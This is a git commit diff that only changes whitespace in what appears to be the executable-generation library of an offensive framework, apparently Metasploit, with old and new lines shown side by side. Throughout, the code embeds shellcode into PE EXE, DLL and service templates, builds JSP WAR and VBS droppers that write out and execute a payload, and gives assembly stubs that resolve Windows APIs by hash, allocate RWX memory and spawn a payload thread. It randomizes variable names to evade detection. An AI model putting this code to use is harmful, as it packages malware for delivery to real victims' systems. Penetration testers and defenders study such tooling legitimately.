bug/bundler_fix
Meatballs 2013-07-24 22:16:41 +01:00
parent edc297756b
commit c221360cc1
1 changed files with 258 additions and 258 deletions

View File

@ -325,7 +325,7 @@ require 'digest/sha1'
if(eloc == 0) # place the entry point before the payload if(eloc == 0) # place the entry point before the payload
poff += 256 poff += 256
eidx = rand(poff-(entry.length + 5)) eidx = rand(poff-(entry.length + 5))
else # place the entry pointer after the payload else # place the entry pointer after the payload
poff -= 256 poff -= 256
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
end end
@ -541,11 +541,11 @@ require 'digest/sha1'
bo = pe.index('PAYLOAD:') bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192) if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*") pe[bo, code.length] = [code].pack("a*")
else else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end end
if name if name
bo = pe.index('SERVICENAME') bo = pe.index('SERVICENAME')
@ -573,11 +573,11 @@ require 'digest/sha1'
bo = pe.index('PAYLOAD:') bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048) if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*") pe[bo, code.length] = [code].pack("a*")
else else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end end
# optional mutex # optional mutex
mt = pe.index('MUTEX!!!') mt = pe.index('MUTEX!!!')
@ -599,11 +599,11 @@ require 'digest/sha1'
bo = pe.index('PAYLOAD:') bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048) if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*") pe[bo, code.length] = [code].pack("a*")
else else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end end
# optional mutex # optional mutex
mt = pe.index('MUTEX!!!') mt = pe.index('MUTEX!!!')
@ -753,7 +753,7 @@ require 'digest/sha1'
# This will become a modified copy of the template's original phdr # This will become a modified copy of the template's original phdr
new_phdr = Metasm::EncodedData.new new_phdr = Metasm::EncodedData.new
e.segments.each { |s| e.segments.each { |s|
# Be lazy and mark any executable segment as writable. Doing # Be lazy and mark any executable segment as writable. Doing
# it this way means we don't have to care about which one # it this way means we don't have to care about which one
# contains .text # contains .text
if s.flags.include? "X" if s.flags.include? "X"
@ -943,14 +943,14 @@ require 'digest/sha1'
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
# put the shellcode bytes into an array # put the shellcode bytes into an array
bytes = '' bytes = ''
@ -1001,7 +1001,7 @@ End Sub
end end
def self.to_exe_vbs(exes = '', opts={}) def self.to_exe_vbs(exes = '', opts={})
delay = opts[:delay] || 5 delay = opts[:delay] || 5
persist = opts[:persist] || false persist = opts[:persist] || false
exe = exes.unpack('C*') exe = exes.unpack('C*')
@ -1374,23 +1374,23 @@ End Sub
def self.to_jsp_war(exe, opts={}) def self.to_jsp_war(exe, opts={})
# begin <payload>.jsp # begin <payload>.jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8) var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8) var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n" jspraw << "<%\n"
@ -1485,7 +1485,7 @@ End Sub
# Write the data into the .text segment # Write the data into the .text segment
text_offset = opts[:text_offset] || 0x1065 text_offset = opts[:text_offset] || 0x1065
text_max = opts[:text_max] || 0x8000 text_max = opts[:text_max] || 0x8000
pack = opts[:pack] || 'a32768' pack = opts[:pack] || 'a32768'
pe[text_offset, text_max] = [data].pack(pack) pe[text_offset, text_max] = [data].pack(pack)
# Generic a randomized UUID # Generic a randomized UUID
@ -1539,89 +1539,89 @@ End Sub
; Note: This function is unable to call forwarded exports. ; Note: This function is unable to call forwarded exports.
api_call: api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX. pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EDX xor eax, eax ; Zero EDX
mov eax, [fs:eax+48] ; Get a pointer to the PEB mov eax, [fs:eax+48] ; Get a pointer to the PEB
mov eax, [eax+12] ; Get PEB->Ldr mov eax, [eax+12] ; Get PEB->Ldr
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
mov edx, eax mov edx, eax
next_mod: ; next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string) mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ; jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ; not_lowercase: ;
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
dec ecx dec ecx
jnz loop_modname ; Loop untill we have read enough jnz loop_modname ; Loop untill we have read enough
; We now have the module hash computed ; We now have the module hash computed
push edx ; Save the current position in the module list for later push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later push edi ; Save the current module hash for later
; Proceed to iterate the export address table, ; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
get_next_func: ; get_next_func: ;
test ecx, ecx ; (Changed from JECXZ to work around METASM) test ecx, ecx ; (Changed from JECXZ to work around METASM)
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want ; And compare it to the one we want
loop_funcname: ; loop_funcname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function... ; We now fix up the stack and perform the call to the desired function...
finish: finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value push ecx ; Push back the correct return value
jmp eax ; Jump into the required function jmp eax ; Jump into the required function
; We now automagically return to the correct caller... ; We now automagically return to the correct caller...
get_next_mod: ; get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ; get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module jmp next_mod ; Process this module
^ ^
stub_exit = %Q^ stub_exit = %Q^
@ -1631,47 +1631,47 @@ End Sub
; Note: Execution is not expected to (successfully) continue past this block ; Note: Execution is not expected to (successfully) continue past this block
exitfunk: exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version) call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function... jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ; jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 ); call ebp ; call EXITFUNK( 0 );
^ ^
stub_alloc = %Q^ stub_alloc = %Q^
cld ; Clear the direction flag. cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack. call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ; delta: ;
#{stub_block} #{stub_block}
start: ; start: ;
pop ebp ; Pop off the address of 'api_call' for calling later. pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size: allocate_size:
mov esi,PAYLOAD_SIZE mov esi,PAYLOAD_SIZE
allocate: allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is. push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code mov ecx, esi ; Prepare ECX with the length of the code
call get_payload call get_payload
got_payload: got_payload:
pop esi ; Prepare ESI with the source to copy pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling call set_handler ; Configure error handling
exitblock: exitblock:
#{stub_exit} #{stub_exit}
@ -1695,7 +1695,7 @@ End Sub
stub_alloc.gsub!('byte', '') stub_alloc.gsub!('byte', '')
wrapper = "" wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp} # regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0 cnt_jmp = 0
stub_alloc.each_line do |line| stub_alloc.each_line do |line|
@ -1744,87 +1744,87 @@ End Sub
; Note: This function is unable to call forwarded exports. ; Note: This function is unable to call forwarded exports.
api_call: api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX. pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ; next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string) mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ; jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ; not_lowercase: ;
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
dec ecx dec ecx
jnz loop_modname ; Loop untill we have read enough jnz loop_modname ; Loop untill we have read enough
; We now have the module hash computed ; We now have the module hash computed
push edx ; Save the current position in the module list for later push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later push edi ; Save the current module hash for later
; Proceed to itterate the export address table, ; Proceed to itterate the export address table,
mov edx, [edx+16] ; Get this modules base address mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
get_next_func: ; get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want ; And compare it to the one we want
loop_funcname: ; loop_funcname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function... ; We now fix up the stack and perform the call to the desired function...
finish: finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value push ecx ; Push back the correct return value
jmp eax ; Jump into the required function jmp eax ; Jump into the required function
; We now automagically return to the correct caller... ; We now automagically return to the correct caller...
get_next_mod: ; get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ; get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module jmp next_mod ; Process this module
^ ^
stub_exit = %Q^ stub_exit = %Q^
@ -1834,48 +1834,48 @@ End Sub
; Note: Execution is not expected to (successfully) continue past this block ; Note: Execution is not expected to (successfully) continue past this block
exitfunk: exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version) call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function... jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ; jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 ); call ebp ; call EXITFUNK( 0 );
^ ^
stub_alloc = %Q^ stub_alloc = %Q^
pushad ; Save registers pushad ; Save registers
cld ; Clear the direction flag. cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack. call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ; delta: ;
#{stub_block} #{stub_block}
start: ; start: ;
pop ebp ; Pop off the address of 'api_call' for calling later. pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size: allocate_size:
mov esi,PAYLOAD_SIZE mov esi,PAYLOAD_SIZE
allocate: allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is. push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code mov ecx, esi ; Prepare ECX with the length of the code
call get_payload call get_payload
got_payload: got_payload:
pop esi ; Prepare ESI with the source to copy pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling call set_handler ; Configure error handling
exitblock: exitblock:
#{stub_exit} #{stub_exit}
@ -1884,20 +1884,20 @@ End Sub
xor eax,eax xor eax,eax
; push dword [fs:eax] ; push dword [fs:eax]
; mov dword [fs:eax], esp ; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL) push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0) push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL) push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default) push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread call ebp ; Spawn payload thread
pop eax ; Skip pop eax ; Skip
; pop eax ; Skip ; pop eax ; Skip
pop eax ; Skip pop eax ; Skip
popad ; Get our registers back popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler ; sub esp, 44 ; Move stack pointer back past the handler
^ ^
stub_final = %Q^ stub_final = %Q^
@ -1912,7 +1912,7 @@ End Sub
stub_alloc.gsub!('byte', '') stub_alloc.gsub!('byte', '')
wrapper = "" wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp} # regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0 cnt_jmp = 0
cnt_nop = 64 cnt_nop = 64